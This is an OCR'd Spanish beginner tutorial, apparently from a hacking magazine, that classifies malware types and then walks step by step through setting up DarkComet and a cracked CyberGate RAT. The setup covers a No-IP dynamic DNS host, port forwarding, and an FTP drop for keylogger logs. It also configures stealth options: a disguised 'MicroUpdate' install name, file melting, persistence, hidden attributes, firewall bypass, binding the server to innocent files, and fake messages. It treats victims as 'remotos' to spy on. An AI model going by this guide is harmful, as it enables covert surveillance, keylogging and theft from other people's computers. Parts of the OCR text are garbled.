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INTRODUCCION

¢ Estais listos chicos? (siiii Nologa) jajaja ;D

Como podéis ver en la portada del cuaderno, vamos a hablar un poco sobre el malware.
Aprenderemos varias cosas sobre el maravilloso mundo malware, desde como empezar a
introducirnos hasta poder crear nuestras propias herramientas, jy mucho mas!.

Pero antes de empezar con el desarrollo del cuaderno me gustaria aclarar un par de
cosas (si no tienes ninguna idea de malware o estas empezando a meterte, esto te
interesa):

Lo primero de todo es que por desgracia o por buenaventura, cuando se habla de
malware generalmente, no se habla directamente de malware, si no de spyware. ¢ Por
gqué? pues hay varias razones, pero a mi parecer la mas acertada es porque podemos
hacer muchas mas cosas con cualquier herramienta de administracion remota u otras
herramientas de spyware que con cualquier virus. Si conseguimos administrar cualquier
ordenador, podemos coger desde lo que se teclea en este a poder "joderlo” cuando nos
convenga, en vez de maltratarlo directamente. Pero eso no quiere decir que no toquemos
el campo de los virus, lo tocaremos, si, pero superficialmente.

Otra es que este cuaderno esta hecho sobre todo para principiantes, pero también puede
servirle a gente con conocimientos medios. Por supuesto que no voy a explicar todo lo
que sé de malware, sino se tardaria demasiado la publicacién del cuaderno. Otro motivo
es que contra mas se avance en esta rama, mas se relaciona con otros campos, con gran
hincapié en la programacion, y si me pongo a explicar todo esto se hara mas largo que El
Quijote.:)

También hablaremos y aprenderemos una parte importante del malware, la programacion.
Si se quiere avanzar en el malware, es de vital importancia al menos saber un lenguaje, si
no, tendremos que disponer siempre de lo que creen los demas y no cubriremos todas las
necesidades que nos surjan, ademas de otros aspectos. Por esto, un espacio que
dedicaremos sera a Visual Basic 6.0, que creo que es el lenguaje mas apropiado para
empezar a aprender programacion ya que es un lenguaje simple pero fuerte, y funciona
en la gran mayoria de versiones de Windows (2000, XP, Vista, 7 y 8)

En conclusion, este cuaderno te servira para poder defenderte en el malware, pero lo
recomendable (y si te gusto el cuaderno) es que se siga aprendiendo y haya motivacion
por ello. ¢ Quién sabe? Quizas llegues lejos :D




TIPOS DE MALWARE

Antes de seguir metiéndonos en el malware, debemos saber y clasificar, mediante sus
distintas funciones, que tipos de malware hay ¢,no?

Yo, sinceramente, no estoy de acuerdo con varios aspectos sobre los distintos “tipos de
malware” que circulan por la red. Un ejemplo seria la palabra “troyano”.

La definicién que tenemos comUnmente es que es un programa que sirve para espiar o
controlar un ordenador ajeno. Si, vale, hasta aqui bien, pero... qué mas? La mayoria de
post que hay, sobre todo la ofrecida por los antivirus, sobre este tema se queda corta y
nos obliga a indagar méas en la red. Entonces después de leer variada informacion sobre
los tipos de malware, podemos sonsacar una definicion algo precisa de cada tipo de
malware.

Te ahorre ese trabajo de buscar tanto mediante la siguiente liste donde explicaré de forma
general, pero precisa, cada tipo:

Los tipos mas generales y usados son:

Worms/Gusanos: su objetivo es spreadear (extender) otro malware u archivo. Estos
pueden usar spread por .rar/.zip, por p2p, por lan, hacer enviar varios correos desde una
cuenta, etc. Vamos, que sirve para tener mas remotos, Ssi usamos un spyware, o jeder
propagar el mayor nimero de ordenadores con nuestro virus.

Troyanos: en verdad el término “troyano” es algo genérico y nada especifico. La
definicion es que es una herramienta de administracion remota, es decir, para administrar
remotamente un PC (e incluso mévil) desde otra PC o terminal. Basicamente hay dos
tipos:

1. RAT’s: aplicaciones de administracién remota legales si se usan con
ordenadores del mismo propietario. Tienen varias funciones como keylogger,
capturador de cam, etc. Su funcién béasica es administrar remotamente un
ordenador desde otro y poder ejecutar distintas acciones que trae consigo.

2. Botnets: mas peligrosas que los rats. La usan sobre todo ciberdelincuentes y
tiene funciones mas interesantes que la mayoria de los rats (por ejemplo hacer
un ataque de negacién a una pagina, autospreadeo, cadenas de proxis...).

Spyware: como su nombre indica, son softwares espiras. Un ejemplo de este seria un
keylogger (que recoge todo lo que se teclea y/o clickea en un ordenador) y también los
troyanos. Por supuesto, hay mas tipos, como stealers, capturadores de webcam, etc.

Rootkits: son programas que se mantienen ocultos para dar privilegio sobre una
computadora y/o ocultar informacién de la computadora al usuario. Su nacimiento
provienen de los sistemas operativos Unix.




Virus: programas maliciosos que dafian o destruyen archivos, infectan otros programas,
etc. No todos los virus tienen las mismas funciones u objetivos, por lo que el término es
muy geneérico, pero suelen registrar su cédigo en otros programas.

Ransomware: de la palabra ransom (rescate) cifra los archivos de la maquina victima.
Una vez cifrados, si el usuario intenta acceder a los archivos, pide que se pague una
cantidad de dinero para que la maquina vuelva a su estado normal. El ejemplo méas
destacado hoy en dia es “el virus de la policia”.

Rogueware: suelen ser antivirus falsos que encuentra varias “amenazas”, pero debemos
pagar para eliminarlas. El proceso suele estar en primer plano, y si intentamos abrir uno
de los supuestamente “archivos infectados”, no nos dejara.

Juacks: programas poco peligrosos que no tienen otra funciéon que hacer bromas
pesadas o provocar molestias al usuario victima. Un ejemplo sencillo algin programa que
termine el proceso de explorer.exe, 0 que salga sucesivamente algin mensaje.

Herramientas: su cAdigo no esta hecho para causar dafio directamente ni tampoco tiene
nada malicioso, pero puede servir de ayuda a otros malwares. Algunos ejemplos serian
los crypters (que sirven para indetectar a los antivirus), binder o joiners (que juntan varios
archivos en uno), etc.

NUESTROS PRIMEROS PASOS

Bien, jempecemos!

Lo primero que haremos sera empezar a configurar nuestro primer RAT haciendo que sea
capaz de crear una conexién entre cliente-servidor, es decir, entre vuestro ordenador y el
ordenador que queremos administrar. Para ello tendremos que crear una DNS en
www.no-ip.com (usaré esta pagina por que las ofrece gratis), abrir puertos en router y
firewall, crear y configurar un servidor FTP (para el keylogger que ofrecen los RATS),
configurar el cliente y comprobar si funciona.

Nota: actualmente la mayoria de RAT's son de conexion inversa y solo los antiguos son
de conexion directa. La conexion directa se caracteriza basicamente en que el cliente (tu
ordenador) se conecta al servidor (ordenador administrado o remoto), y la conexién
inversa, como su nombre indica, es al contrario, el cliente (parte que configuramos) se
conecta al servidor (nuestro ordenador).




| >

CONEXION DIRECTA

TU ORDENADOR ORDENADOR REMOTO
(CLIENTE) (SERVIDOR)

=il |

CONEXION INVERSA

TU ORDENADOR ORDENADOR REMOTO
(SERVIDOR) (CLIENTE)

Es recomendable que sea de conexidn inversa ya que probablemente pedira al usuario
remoto permiso para establecer una conexion al exterior e incluso puede que se lo salte.
Sin embargo con un RAT de conexién directa lo méas probable es que el firewall del
remoto bloquee la conexion.

Pero nosotros, ademas de usar un RAT con conexién inversa, usaremos una conexion
mediante DNS.

DOMINIO
DNS

CONEXION QUE HAREMOS

TU ORDENADOR

ORDENADOR REMOTO
(SERVIDOR) (MEDIANTE DNS) (CLIENTE)

En el tutorial usare Darkcomet. ¢ Por qué? Porque es el RAT que mas me gusta y al que
mas me acomodo (cada RAT se debe acomodar a su manipulador) ;D Aunque es cierto
gue su configuracion se diferencia un poco comparado con Cybergate, entre otros, asi
gue también colgaré imagenes de una correcta configuracion de Cybergate, que es muy
parecido a otros troyanos como Spynet.




Creacion de cuenta No-IP

Bien, empecemos creando nuestra cuenta No-IP. Para ello visitamos la pagina oficial
WWW.No-ip.com y nos tendremos que registrar

Home Blog Support Contact Us Signin -

Username or Email

Services Why No-IP?

Ahora rellenamos el formulario y activamos la cuenta con el mensaje que llegara a
nuestro correo. Nos logueamos y aparecera la pantalla principal. Le damos a afiadir host

Domain Registration ~ Mail ~ SSL Cerfificales  Monftoring ‘Backup DNS Renewl/Activate

[ HostsRedirects

B HostsRedirects
gi Manage Hosts
+ Add Host
+ Manage Hosts
+ Manage Graups Current Hosts: 0 of 3 Need More Hosts? Enhance Your Account! LI ECINCIUN

+ Download Client
+ Upgradeto Enhanced Host IP/URL Action

@ Hosts By Domain
Need redundancy

Y "foryourmdlservet? —-No Hosts —

‘cuck hare for more Info | (—]




Y nos aparecera un panel como este:

Hostname Information

Hostnaine: : PracticasHxC ‘ zapto.org 2]

Host Tvpe: O DrS Host A @ DS Host {Round Rohin) @ DS Alias (CNAME) @
@ Port 50 Redirect @ web Redirect @ ARAS (IFPyE)

IP Address: (79150018 @

Assign to Group: i - No Group - ® Configure Groups

Enable Wildcard:  Wildcards are a Plus J Enhanced feature. Uparade NMow!

+ Accept Mail for your Domain
Let Mo-IP do the diry work. Setup POF or forwarding for your name.

Mail Options

MX Record MX Priority

Enter the name of your external mail exchangers (mx records) as hostnames not IP addresses
: _
i N @

Ifyou would like a more MX records, please upgrade to bo-IF Plus or Enhanced.

ost

B

Ok, ponemos en Hostname el nombre que queramos ponerle, yo pondré PracticasHxC, y
creamos. Donde pone zapto.org podéis dejarlo asi si queréis, yo lo cambiare ano-ip.biz,
pero daigual ;). Cuenta creada :D

practicashese. no-ip.hiz Vuestra IP B wmodity, M Bemove

Cuando terminemos de crear todo, descargamos el DUC en la pestaia Downloadde la pagina
principal de No-IP. Lo instalamos. Abrimos nuestra cuenta creada en ella, tildamos nuestro host,
gue estara en Select Host y tienen que estar asi:




Eroups/ Hosts

Please select the hosts or groups to be
associated with this dient. You can click here
to manage your hosts and groups within your
account on the No-IP.com website,

~Groups
- Hosts
no-ip.biz
[¥] practicashxc.no-ip.biz

[ Require a password to modify hosts

[ Save ][ Cancel

File Edi Tools Help

V Client ID: C3A6620624 < Edit
Account: practicashackxcrack@hotnidn 2

V Updating: 0 Groups & 1 Host & | Select Hosts.
IP:vuestra IP (Router/MNAT) :

L4 Mext Check: 20s @ |Befreshiiow:

| 11:12pm: Updsted 1 tems successfully.

Terminamos de configurar nuestra no-ip :D

Pero, ¢por qué hacemos esto de no-ip? Simple, ¢nunca te has dado cuenta que
tienes una IP un dia y si la miras otro dia distinto es diferente? Esto es porque nuestra
IP externa es dinamica. Esto quiere decir que se cambiara constantemente y no sera
estatica (fija). Para manejar nuestro RAT sin perder a los remotos, necesitaremos un
punto de conexion estatico.

——
oo
| —



El siguiente punto es abrir los puertos, tanto del router como del firewall. Estad atentos

)

Abrir puertos en el routery el firewall

Bueno, para empezar a abrir los puertos en nuestro router tendremos que saber nuestra Puerta
de enlace predeterminada (que suele ser 192.168.1.1) y que se nos mostrara como puerta de
enlace. Pero para confirmarlo, vamos a: Inicio = Ejecutar = Escribimos cmd y cuando nos salga
“esa pantalla negra” escribimos: ipconfig

Ahora nos aparecera algo como esto:

daptador Ethernet Conexiones de red inalambricas 4

Sufijo de conexion especifica DMNS @

Diveccion IP. . . . . . . . . . . = 192_168.1.36
Mascara de subred . . . . . . . . = 255 2L _2355.8
Puerta de enlace predeterminada 19216811

En mi caso, y en la mayoria, es 192.168.1.1

Guay, ese “numero” nos ayudara a entrar en la configuracién del router y asi poder abrir los
puertos. Ahora cogemos nuestro navegador favorito y ponemos nuestra IP en la direccién Url
(donde aparecen o ponemos los links) asi:

19216811

Nos pediran user y password. Generalmente suele ser en ambos campos “1234” o “admin”. Si ves
que probando las que he nombrado sigues sin poder entrar, visita el siguiente link y busca tu
modelo de router: http://www.hackxcrack.es/forum/index.php?topic=1515.0 . Si aun asi sigues

sin poder conseguirlo tienes dos opciones:

e Buscar en www.adslzone.net y/o www.google.com tu router y ver cuales son las claves por

defecto.

e Hablar con tu compainiia de adsl y pedir que te abran los siguientes puertos que nombraré
un poco mas abajo.

Ahora ya estamos en el panel del router. Buscamos en el apartado AdvancedSetup la pestaifia NAT.

L_fff_J Remove

Protocol

Internal Port Start | Internal Port End | Server IP Address

Server Name | External Port Start | External Port End Remove

Seguramente no os aparecera igual que a mi, pero los pasos son los mismos. Le damos a Add y nos
aparecerd un panel similar al siguiente:

——
©
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http://www.hackxcrack.es/forum/index.php?topic=1515.0
http://www.adslzone.net/
http://www.google.com/

Server Name:
) Select 2 Service:  Select One -

guisrCoss

. .
® Custom Server: Cu

Server IP Address: MuestraIP

Save/Apphy

External Port Start|External Port End Protocol Internal Port Start|Internal Port End
1200 1200 TCP - [ 1200 1200

TCP -

TCP -

TCP -

TCP -

TCP -

TCP -

TCP -

TCP -

TCP -

TCP -

TCP -

Save/Apply

En Select a Service nos aparecerdn varios programas y pondra sus respectivos puertos en la tabla,
asi que no lo usaremos.

En Custom Server podemos poner cualquier programa o nombre, eso no es relativo.

En Server IP Address pondremos nuestra IP, y en las tablas los puestos que deseemos. En ésta
revista usaré el 1200.

Ya tenemos los puertos abiertos en el router, éfacil no? Ahora solo falta reiniciar el router y listo.

Ahora vamos a abrir los puertos también en el firewall: empezamos abriendo Panel de control -
Sistema y seguridad - Firewall de Windows - Configuracién avanzada(ésta ultima se encuentra
en la parte izquierda). Clickeamos y nos aparecera el siguiente panel.

10
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| Archivo  Accion  Ver Ayude

e 2@ - 8@

: @ Feewall de Windows con segur

e e
¥ Reglas de Sici O uToment Pdblico S Permitie|
3 < De seppusiced S oTemen Publico Si vumniv]l
@ uTement (TCP-In) Privado i vmlj

@ uTcment (UDP-In) Privado Si Permitir

@ Boryour Privado Si Permitic

@ eorjour Privado Si Permitir

@ eMute Privado Si Pesmitic

@ eMute Privado Si Permitir

D eueZina FYP Chert Privado SI Permitie

@ FieZita FTP Clert Privado S Permitic

@ intemet Explorer Privado Si Permitic

& trtemet Explorer Privado Si Permiti

@ itunes Privado Si Pesrmitic

@ itunes Privado Si Permitir

@ uifeCom.exe Privado  Si Permitic

G uifeCom.exe Preado Si Permitie

O LteEnCl e Privade SI Permitie

G LifeEnCene Privado SI Permitic

@ ifebxp.exe Privado Si Pesmitie

O Lifebxp exe Privado  Si Permitir

G LiteTray.ee Privado Si Permitie

@ tifeTray.ene Privado  Si Permitie

@ Microsott Office Groove Privado Si Permitir

@ Microsoht Office Groove Privado  Si Pesmitie

@ Microsett Office OneNote Prrado Si Permitir

@ Microsoft Office OneNote Prvado S Permitic

€ Microsoft Office Outiook Privado SI Permitir

@ vtorentene Publico Si Permitir

e — . ﬂ e 5 . Publico I Pesmiti

v v v v




Click en Puertos, Siguiente y ponemos TCP y el puerto que abrimos en el router

Protocolo y puertos
Especfique los puertos y protocolos a los que se apica esta regla.
Pasos:
¢Se aphca esta regla 3 TCP o UDP?

@ 1CP
) uoP

(Se aplica esta regia a todos los puertos locales o a unos puertos locales especificos?

' Todos los puertos locales
© Puertos locales especificos: 1200

Ejemplo: 80, 443, 5000-5010

Sucesivamente vamos a Accidn y le damos a Permitir la conexién.




Accion
Especfique 1a accidn que debe levarse a cabo cuando una conesdn coincide con las condiciones especiicadas en la regla

P 3 ¢Qué medida debe tomarse si una conexidn concide con las condiciones especificadas?
@ Tipo de regla
¢ Protocolo y puerttos -
x © Permitir la conexién
@ Accién Esto incluye las conexiones protegidas mediante IPsec y las que no b estan
@ Pedi
) . Permitir la conexién si es segura
¢ Nombre Esto incluye solamente las conexdones autenticadas mediante IPsec. Estas se protegerdn

Wehmaaaéndemyumdmdelhecddmdo Regla de segunidad de

| Blogquear la conexion

[ < Mrds ][__Sgueme>][ Cmodar,'

En Perfil ponemos Privado en mi caso. Si también queréis tenerlos abiertos en redes publicas,
tildar también esa opcion.

Después, en Nombre, pondré Darkcomet 5, pero poned lo que querdis. El nombre no es relevante.

CREAR SERVIDOR FTP
El primer paso que debemos hacer es crear nuestro host FTP, para ello, volvemos a aifadir un host
en No-IP.
Hostname: Practicasftp serveftp.com [+] 9
frrr @ DS Host (4) © DNS Host (Round Robin) © DNS Alias (CNAME) =]

@ Port 80 Redirect © Web Redirect © AAAA (IPVE)

Sucesivamente, nos vamos a DUC y tildamos nuestro dominio (como lo hicimos con la otra DNS).

Ahora instalaremos Filezilla Serve de su pagina oficial https://filezilla-
project.org/download.php?type=server. No tiene por qué ser el de Filezilla, puede ser cualquier

otro, pero usaré este.
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Una vez instalado (next, next, next, install) nos aparecera el siguiente cuadro:

-~

Connect to Server

25|

127.0.0.1

Server Address:

Paort:
14147
Administration password:
Always connect to this server
| ok || cancel

Cuando estemos dentro, le damos al siguiente icono y nos aparecerd un este recuadro:

e KDs ¢ @@ -

Users . L . ' M
Page: Account settings Users
General Enable account
5 Shared folders Eszz ik
i Speed Limits
L. TP Filter Group membership:

Bypass userlimit of server

Maximum connection count:
Connection limit per IP:

Force S5L for user login

Description

Remove

Rename Copy

You can enter some comments about the user

Le daremos a Add para anadir un usuario y le pondremos una contrasefia.




-~ General

- Shared folders
- Speed Limits
L... TP Filter

[ Cancel

Account settings

Enable account
[¥] Password: LTI T
Group membership: | <none:

[7| Bypass userlimit of server

Maximum connection count: 0
Connection limit per IP:

[|Force 5L for user login

Description

fou can enter some comments about the user

Users

l Add ” Remaove ]

l Rename ” Copy ]

En la siguiente ventana Shared Folders, examinamos una carpeta vacia donde queramos que nos

envie los logs, donde sea, y le damos a Ok.

Users

S|

- General
Shared folders
- Speed Limits
i... IP Filter

Cancel

IH
-

Shared folders

Directories Aliases

H C:\Users\Malogal...

' m |

I

Files

Read
Write

[7] Delete
[T Append
Directories
[[] Create
[7] Delete
List

+ Subdirs

Users

[ Add ][ Remove ]

[ Add

H Remove H Rename l [Se:t as home dirl

[ Rename ][ Copy ]

A directory alias will also appear at the specified location. Aliases must contain the full local
path. Separate multiple aliases for one directany with the pipe character (| )

ff using aliazes, please avoid cyclic directony structures, it will onby confuse FTP clients.




Ya tenemos nuestro servidor FTP configurado, ahora tan solo habria que abrir el puerto 21 en el
Firewall y en el router si no lo tenemos abierto.

Configurando Darkcomet RAT
Ahora que tenemos creada nuestra cuenta No-ip, abierto los puertos en el router y el firewall y
creado nuestra conexién FTP, abriremos la interfaz de Darkcomet. Usaré la version 5.0, pero el
manual sirve para las versiones posteriores.

Todas las herramientas que usaré en esta revista las podéis descargar de aqui:
http://www.hackxcrack.es/forum/index.php?topic=14084.0

Bueno sigamos. Al ejecutar Darkcomet nos saldrd una ventana exponiendo las normas del autor,
diciendo que no se usara el RAT inadecuadamente (blablabla}, le damos a aceptary jhe aqui la
interfaz de darkcomet! :D

DarkCometRAT lEl (=] ‘ X |

M Users On Connect j Usersiogs  Z° Sockethet

Tasiname Command name Datas

Listado

de los
Aqui creamos el Panel Para ver los logs remo-
serve, aiadimos con funciones de los remotos tos
puertos y tipicas que podemos —
configuraciones hacerle alos
para que haya una remotos Para ver que puertos
conexion

tenemos abiertosy
conexiones (no
lo veremos)

adecuada (a parte
de un bonito
downloader) :) Funciones para que hagan los
remotos
{z”
i —!

Command | qgisit Ul j ‘2 Add and Configure the task

Como vemos hay bastantes cosas :D pero lo primero que hay que hacer es afadir los puertos que
usaremos con el RAT, es decir, en este caso debemos pulsar el botén DarkComet-RAT y
seguidamente pulsar en Listen to new port. Nos saldra esto:

16
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http://www.hackxcrack.es/forum/index.php?topic=14084.0

.
Add Server Socket [Listen] |

Listen port : 1000 Listen 'L

Try to forward automaticaly (UpMP)

En Listen port aparecera un puerto por defecto, pero pondremos los puertos que hayamos

abiertos y damos a Listen.

Ahora pulsamos en la opcion Clientsetting, donde encontraremos las opciones del servidor (ya que
es de conexidn inversa). Se nos mostrard una ventana como esta:

% Client Settings.- NolbgaQ?;. - - ' (=@ =W

4% General settings

Static IP Notifier (SIN - Users list) Settings

2 72/ Client Layout ( ) .
A4z No-IP Updater [} Show users desktop thumbnails instead of dassic flags

Pushme notify Setpicturesize: 100 &) X 64 & Pixels
e ‘@. Manage users group
- P_ﬂ Users flag manager [¥] show users flags by geo position instead of computer language
- 1_1_2'1 Take some notes [¥] Automaticaly refresh users informations
- g% Manage local DB : = =
@ Read EULA Refreshinterval : 45 @& Seconds
~4 Search for updates New user notification system Settings

- About DarkComet
[¥] Toast notification { MSN Style popup )
[T Tray balloon notification

[¥]Play a sound

Client system Settings

[¥] Use keep alive system ( to detect Ghost connections ) - Recommanded
[ "] Close dient on windows tray system
[¥] Listen automatically on dient load ( Restore previous session port )

Traffic encryption merged key (password) :  eesese

Functions settings

[7] Automatically start WEBCAM capture when window open
[] Automatically start DESKTOP capture when window open
[7] Automatically start SOUND capture when window open

Lo podemos marcar asi, como muestra la imagen. Las opciones que he marcado sirven para:

e Usar banderas dependiendo de la posicién del ordenador remoto.




e Refrescar cada 45 segundos.

e Mostrar las notificaciones al estilo MSN.

e Que suene un sonido al conectarse un remoto.

e Mantener el sistema vivo para detectar la conexién de los remotos.

e En la dltima opcidn, donde estan los asteriscos, ponemos la clave ique tiene que ser la
misma que la que pongamos al configurar el serve! Ojo y anotadla.

Las demas opciones no son importantes, por eso me las saltaré.

Bueno sigamos, ahora crearemos el cliente (también llamado coloquialmente serve en foros, por
mera costumbre) para controlar remotamente otro ordenado.

<, Server Editor - Installer version < 4.1 > ' | ‘

[V] security Password :  sessss ["] Show chars

More longer your password is , more strong the encryption will be !

Process Mutex : DC_MUTEX-A1ABSUF =L Generate
Server ID : Guest16
) Main Settings Profile Name :  Settings-01

-8 Network Settings

[ ijackin

~-|i#| Module Startup Hijacking

+{z) Install Message [V] Active FWB (Firewall bypass)

: Module Shield

‘ - If you use a crypter you might not check this option.
{5 Keylogger - If you use this option it will not run under sandboxes.
-1 Hosts File
i | Choose Icon
-ids Add plugins
i..3% File Binder

& Build Module

ol

Module Size : 645,50 KB

Como vemos en la primera opcidn, debemos poner la contraseiia que pusimos en el servidor. Esto
se usa como medida de seguridad, por si nos roban la cuenta no-ip, por ejemplo, si no saben esta
contrasefia, los remotos no le conectaran.

El mutex es un identificador, lo deberemos cambiar para tener dos serves en un mismo ordenador,
por ejemplo. Es recomendable cambiarlo.

Serve ID es como se nos mostrara el remoto en el servidor y en ProfileName el nombre de perfil
que le pongamos. Este version tiene un bug en el Firewall bypass, asi que para que funcione el
serve hay que desactivarla.

En Network Settings ponemos el puerto y nuestra DNS de no-ip :)
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‘% Loopback address : 127.0.0.1 (ocalhost)
@ Local address (LAN) : 169.254.54.135
- Internet address (WAN) : Click On Refresh
B Network card MAC ID : 08-00-27-00-C0-28

3| pacticashxc.no-p.biz:1202| IP/ONS: pacticashxc.no-p.biz >

3 pacticashxc.no-p.biz: 1001 P

| 2 Add this configuration |

Setup correctly your program

-4} Main Settings

-8 Network Settings

@ Module Startup
| Install Message - Avoid having firewalls activated in

1.1/ Module Shield your side.

) Keylogger - Avoid having antivirus software

g Hosts File activated in both side.

g | Choose1 - Be sure having correctly forward your
& A S ports , check here :

: >+ File Binder http: //canyouseeme.org/

-$% Build Module

Module Size : 645,50 KB

Module Startup ponemos configuraciones mas especificas sobre el serve, como donde instalarlo,
cambiar la fecha de creacidn, melt, persistencia, etc.

NOTA: Antes de seguir afiado una nota y es que debido a la UAC de Windows 7 no se puede
instalar el serve en carpetas como system32, Windows, y demds. Por ejemplo habria que
instalarlo en archivos temporales, es decir, en Temp. En Windows XP podéis elegir libremente la
carpeta.
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Server Editor - Installer version

Enable module server startup

Install path :
| TEMP#\ | : MSDCSC\msdcsc.exe

Install Mame :  Microlpdate

Melt file after first execution

: : Change file creation date :  15/04/2007 DDMMAYYY
------ I Main Settings
..... W Network Settings Persistance installation
Module Startup
-=o| Install Message Installed module file attributes
""" _/ Module Shield [|Hidden [T]|System [|Archive [|Temporary [—|Read Only
Keylogger
..... [ Hosts File Installed module path attributes :
..... 4 | Choose Icon [|Hidden [“]System [“|Archive [|Temporary [—|Read Only
----- ﬁ Add plugins
----- =% File Binder

443 Build Module

Module Size : 645,50 KB

En InstallMessage es para que le salga mensaje falso cuando ejecuten el archivo y en Keylogger
podemos poner nuestro servidor FTP para que nos envie los datos. El problema es que puede
afiadirnos mas detecciones, asi que tenemos como optativa que los datos recogidos por el
keylogger los podamos ver desde el servidor del RAT. Pero si queremos, ponemos todo los datos
gue hemos configurado cuando creamos el servidor FTP.




Display a message box on first module load

Icon : 2 Warning

Title Mologag3|

Message : Estas infectado jajaja =:)

& Test Message box

----- I} Main Settings

..... ¥ Metwork Settings
Module Startup

-z Install Message

..... [T Module Shield

Kevylogger

..... [ Hosts File

..... @ ' Choose Icon

..... ﬁ Add plugins

----- =% File Binder

b Build Module

Module Size : 645,50 KB

En Host File este punto no lo tocaremos

En Chooselcon que icono quieres que tenga el serve. También podemos agregarles otros iconos
poniéndolos en la carpeta /cons, que viene con Darkcomet.
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(7 Mo icon @ Custom icon

Custom icon path :

ii"_) Main Settings B H w

¥ Metwork Settings
Module Startup
- | Install Message
----- ] Module Shield
Keylogger

[55 Hosts File

@ | Choose Icon

ﬁ Add plugins
----- =% File Binder
-t Build Module

Module Size : 645,50 KB

En Addplugins es para afiadir funciones, por si queremos afiadirle alguna. Debemos crear plugins
para ello, pero eso no ird dentro de esta revista.

File Binderpor si queremos juntar el serve con otro archivo vy, por fin, Build Module para crear el
serve.
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File Mame File Type File Size Action
@Bleam_Heru. .. Imagen JPEG 214,30KE  Drop and execute

@Y tras el rout... Adobe Acrobat... 331,67KB  Drop and execute
I'E]Chris;n,-I -Pre... Applian media f... 5,50 MEB Drop and execute

----- i} Main Settings

----- W Metwork Settings
Module Startup
-{==| Install Message
..... |1 Module Shield

-] Keylogger
----- [54 Hosts File
..... 4 ' Choose Icon Execute binder at each server startup
----- ﬁ Add plugins , )
L bl File Mame : C:JsersMologad3iMusiciDubstep), w
12 File Binder | ok Add File
b3 Build Module (@) Drop and execute

Module Size : 645,50 KB

< Server Editor - Installer version < 4.1 >

File checksum MDS = alled(O78£722Z2%aZchefdd . ]

Z2:E0:2% =

Z2:20:22 » Final Size : &©,8e MB +(531%) of Settings

2:20:22 ¥ Settings S5ize : &,03 MB

2:20:22 » Checking if we need to save the settings..

2:20:22 ¥» No.., Nothing more to be done! I:l
=

1 | i 3

N®lines : 45 EY 3
Qutput extension :

----- -{} Main Settings

..... W Network Settings Compress Executable (Pack)
|| Module Startup (@) Disabled
- Install Message (7 UPX (Ultimate Packer Executable)
----- | Module Shield .
-7 Keylogger i) MPRESS (.MET PE32+H)
----- [ Hosts File
----- @ | Choose Icon | |
----- S Add plugins
----- =% File Binder = i . ;
i Build Module Save profile settings after build E (5 Build Server ;

Module Size ; 645,50 KB
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COMPROBAR SI FUNCIONA EL RAT MEDIANTE AUTOINFECTACION

Para comprobar si un RAT funciona correctamente o empezar a ver sus funciones antes de usarlos,
existe la autoinfectaciéon. Esto no es mds que en vez de poner nuestra DNS de no-ip, ponemos
127.0.0.1, que es para que se conecte por localhost nuestro serve. Pero antes de autoinfectaros,
recomiendo no marcar ninguna opcion extra (como persistencia, keylogger...) cuando creéis el
serve, ya que puede dafiar algo vuestro pc.

DanlometRaT = lL=) |

2 vsers (1) (i) On Connect 4 Usars bgs = Socke!/Net =X
i3] P Wan/[la... Computer NameUserName 05 .57 . arch . root %% RAM Used Language/Country A, C.
B Unclassed users
= Guestis 127.0.0.1... NOLOGAS3-TOSH /Nologad3  Windows 7 [(Mo1] 64be (C:\) 41% Ecpafiol (Espadia,... - x

éLo veis que pone 127.0.0.1? Me he conectado “yo conmigo mismo”. Si un RAT no es capaz de
conectarse mediante localhost, cégelo y tiralo a la basura, no sirve de nada. Ahora veamos las
opciones que nos trae Darkcomet.

S Add user group Ins

™= Group manager

38 Switch to group »

&5 Open Control Center(s) F1
Quick Window Open »

“2 Refresh Info/Ping F5
Resolve Host F2

Show Informations F3

-
o
1 Extra Broadcast Commands *
w

Send Socket CMD F4
.. RunCommand F6
¥ Update From URL F7

Flag this Server(s)  Ctrl+Q
Search for Server(s) Ctrl+F
Rename Server(s) ID Ctrl+R
Uninstall Server(s) Del
Close Server(s) Ctrl+ X

.\

,
P

OBE

Show thumbnails

b
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¢Un buen lote no? En este caso lo mejor es que curioseéis las opciones vosotros mismos y que
aprendais para que sirve cada una. Pero para empezar a ver lo que se puede hacer, recomiendo
mirar la opcidon Open Control Center. Hay cosas muy entretenidas.

Configurando Cybergate RAT

Bueno, si te has leido bien el tutorial, sabrds ya como configurar los RATs. Asi que haré lo mas
breve posible una configuracion de Cybergate y me apoyaré mucho en las imagenes. Usaré
Cybergate 1.18 (la versidn crackeada), aunque como dije anteriormente, servira para otras
versiones.

Bien, empecemos ejecutando el loader y tildamos Hide me NextLaunch. Posteriormente
presionamos a Enter (en laimagen) y se nos abrira CyberGate, después de dar a/agree en el
mensaje

CRecHel

L_‘._)J

Thugsndanston
AR~/
The Od Ularrior

SNVARK

Never Say It's Uncrackable :) Hide me Next Launch
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CyberGate Disclaimer

CyberGate RAT

THIS DISCLAIMER. REFRESENTS A CONTRACT BETWEEM YOU AND CYBER-SEC.ORG. AFTER READING, YOU WILL BE ASKED TO

estaremos dentro de Cybergate.

Control Center

Station

CyberGate Station is currently locked

Login
[ Remember password Lock Station when idle for:

Show Password Save on exit Close windows on Lock

CyberGate Station sucessfully started [ mar, sep 11, 2012 12:53AM ]
Please set a password for this station
CyberGate Station waiting for user to set a authentication password ...

Servers online: 0 Servers selected: 0 CyberGate is in stand-by mode ..

Ponemos una clave (cual sea) y damos aRememberpassword (para que no se nos olvide) y
sucesivamente a Login. Ahora vamos a Connection y pinchamos enControl Centery presionamos
Start
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Si es la primera vez que pulsamos esta opcidn, nos aparecera la opcion de abrir puertos (si cerraste
la ventana o no te sale tranquilo, ve a Control Center — Options — Selectlistenningports) y metemos
los puertos como en el Darkcomet, lo Unico que cambia es que también debemos poner la pass de
seguridad de la conexidn cliente-servidor (si no queréis poner nada no lo hagais, aunque es
recomendable)

Active Ports L o 1600

vy

2.5 Delete

Connection password
EEEER

Show password

+ Save

Después de pulsar Save, vamos otra vez a Control Center — Builder — Createserve y nos aparecera la
siguiente pantalla

Clickeamos en New y nos pedira el nombre que queramos ponerle a la configuracién (no al

remoto). Luego hacemos doble click en el user que nos aparecera y nos mostrara las opciones:

27

——
| —



EJ connection  J§

Port

W Add Identification remote

127.0.0.1
Delete Password cybergate

[l Show password

Seleccionamos el DNS y el Port y le damos a Delete para borrar la configuracidon que pone por
defecto, pinchamos en Add y ponemos nuestra DNS y el puerto seleccionado. Cuando
terminemos, en Password, hay que poner la contrasefia que pusimos al introducir los puertos para
gue conecte, y en Identification el nombre para identificar al remoto

_! Installation !. __: L E

[Fd Install server i ory File Name
Installation directory Nicrosoft Office Office exe

@ No injection
Program Files & Default Browser
